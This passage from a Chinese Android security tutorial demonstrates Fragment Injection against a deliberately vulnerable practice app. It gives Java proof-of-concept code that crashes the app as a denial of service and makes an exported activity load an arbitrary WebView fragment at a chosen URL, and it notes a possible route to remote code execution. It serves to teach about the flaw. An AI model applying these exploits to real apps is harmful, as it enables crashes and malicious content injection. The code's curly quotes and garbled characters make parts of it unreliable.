package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽(tīng)點(diǎn)擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類(lèi)名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”BaoBaoBaoBaoBaoBao”);startActivity(intent);//成功Dos后的提示Toast.makeText(MainActivity.this,”Dos攻擊ddns.android.vuls應(yīng)用”, Toast.LENGTH_SHORT).show();Log.d(“拒絕服務(wù)攻擊:”,”ddns.android.vuls 應(yīng)用被Dos攻擊”);}});}}
- activity_main.xml 代碼:
效果如下:
0x04 Android Fragment之遠(yuǎn)程命令執(zhí)行
由于現(xiàn)在很多組件都是基于Webview來(lái)展示頁(yè)面,并且Fragment組件應(yīng)用越來(lái)越廣,以后將會(huì)有越來(lái)越多的Webview組件是基于Fragment來(lái)展示。由于Fragment注入漏洞可以加載app內(nèi)任意未導(dǎo)出組件,如果基于Fragment的Webview組件存在addJavascriptInterface漏洞,將會(huì)導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。大家可以在市面上老的APP里找下,發(fā)現(xiàn)很多Webview組件基于Fragment,但是繼承自PreferenceActivity的組件是不導(dǎo)出的。因此,下面將利用vuls.apk來(lái)做驗(yàn)證可行性,當(dāng)然同學(xué)你可以自己寫(xiě)個(gè)demo來(lái)做嘗試,下面測(cè)試的環(huán)境是在Android 4.4中進(jìn)行的
ddns.android.vuls.activities.Activity.FragmentActivity組件對(duì)外導(dǎo)出,并繼承自PreferenceActivity:
WebviewFragment導(dǎo)出JavaScript接口,并加載URL(在 vuls 中有以下的 Fragment)。如下攻擊場(chǎng)景中可讓Fragment加載指定的網(wǎng)頁(yè):
public class TargetFragment extends Fragment {public TargetFragment() {Log.e(“DDNS: “, “TargetFragment’s constructor”);}@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);}@Overridepublic View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {View view = inflater.inflate(R.layout.fragment_target,null);WebView webview = (WebView) view.findViewById(R.id.webview_fragment);webview.getSettings().setJavaScriptEnabled(true);webview.loadUrl(getActivity().getIntent().getDataString());return view;}}
利用Fragment Injection漏洞對(duì)TargetFragment攻擊,加載任意 Fragment 攻擊的EXP,如下:
- MainActivity.java 代碼:
package com.example.testpoc4;import androidx.appcompat.app.AppCompatActivity;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import android.util.Log;import android.view.View;import android.widget.Button;import android.widget.Toast;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 獲取控件idButton button1 = findViewById(R.id.button);// 監(jiān)聽(tīng)點(diǎn)擊事件button1.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View v) {// 要執(zhí)行的操作Intent intent=new Intent();intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);//包名 包名+類(lèi)名(全路徑)intent.setClassName(“ddns.android.vuls”, “ddns.android.vuls.activities.Activity.FragmentActivity”);intent.putExtra(“:android:show_fragment”,”ddns.android.vuls.activities.Activity.TargetFragment”);intent.setData(Uri.parse(“https://orangey.blog.csdn.net”));startActivity(intent);//成功加載任意Fragment攻擊后的提示Toast.makeText(MainActivity.this,”加載任意Fragment攻擊:成功加載Orangey CSDN博客”, Toast.LENGTH_SHORT).show();Log.d(“加載任意Fragment攻擊:”,”成功加載Orangey CSDN博客”);}});}}
- activity_main.xml 代碼:
通過(guò)Fragment Injection漏洞,TargetFragment已加載惡意URL,如下:
注:如果Fragment的Webview組件允許webView.addJavascriptInterface漏洞,即可惡意加載惡意JS代碼,代表存在遠(yuǎn)程代碼執(zhí)行漏洞攻擊。這個(gè)此處就不再演示了,可以前往之前的WebView的文章查看,攻擊手法差不多,不再重復(fù)講解
參考鏈接:
https://segmentfault.com/a/1190000039960026
https://blog.csdn.net/wuyuxing24/article/details/78698633
https://blog.csdn.net/L173864930/article/details/17279165
https://blog.csdn.net/syy0201/article/details/115057633
https://mp.weixin.qq.com/s/BPYjCz2wlkGOijb-sUcrQg
https://wooyun.js.org/drops/Fragment Injection漏洞雜談.html
烏云知識(shí)庫(kù)文章-Fragment Injection漏洞雜談
https://wooyun.js.org/drops/Fragment Injection漏洞雜談.html
https://github.com/DmrfCoder/interview/blob/master/Android/Fragment全解析.md
你以為你有很多路可以選擇,其實(shí)你只有一條路可以走